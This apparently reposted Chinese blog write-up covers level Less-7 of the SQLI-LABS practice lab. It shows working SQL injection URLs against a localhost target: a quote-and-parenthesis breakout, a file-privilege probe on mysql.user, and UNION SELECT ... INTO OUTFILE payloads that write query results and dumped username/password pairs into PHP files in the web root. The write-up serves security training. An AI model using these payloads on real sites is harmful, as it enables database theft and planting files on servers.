首页 > 数据库技术 > 详细

SQLI_LAB——Less-7

时间:2019-05-25 13:43:12      阅读:267      评论:0      收藏:0      [点我收藏+]

  上题。

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1‘ --+

  技术分享图片

 

  单引号发现报错,但不是外显,所以无法直接进行剥离构造。没有外显的话比较麻烦,通过尝试得到:

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1‘)) --+

  

  回显正常。这题需要用到outfile,导出型注入。但是使用outfile需要一定的file权限,下面是使用条件:

1 必须有权限读取并且文件必须完全可读 
2 目的文件必须在服务器上 
3 必须指定文件完整的路径 
4 欲读取文件必须小于 max_allowed_packet

 

  接下来判断我们是否有file权限,构造语句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1‘)) and (select count(*) from mysql.user)>0 --+
//select count(*) from mysql.user 意思是返回mysql库中所有用户名数量

  

  若回显正常,说明具有file权限,回显不正常,则说明不具有file权限。这里回显正常,说明具有权限。

  那么我们可以开始进行注入,构造语句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1‘)) union select 1,user(),database() into outfile "/xampp-php5/htdocs/SQLI-LABS/sqli-labs-master/Less-7/1.php" --+

  OR

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1‘)) union select 1,user(),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\1.php" --+

  

  在文件路径中,若使用’ \ ‘,则需要用另外一个转义字符将其转义即一个’ / ‘等于’ \\ ‘。

技术分享图片

  

  注入成功,可以发现生成了一个1.php。

  同样地:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1‘)) union select 1,(select group_concat(username,‘_‘,password) from users),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\2.php" --+

  

  然后我们以此方法得到flag。

技术分享图片

 

SQLI_LAB——Less-7

原文:https://www.cnblogs.com/Buki11/p/10922046.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!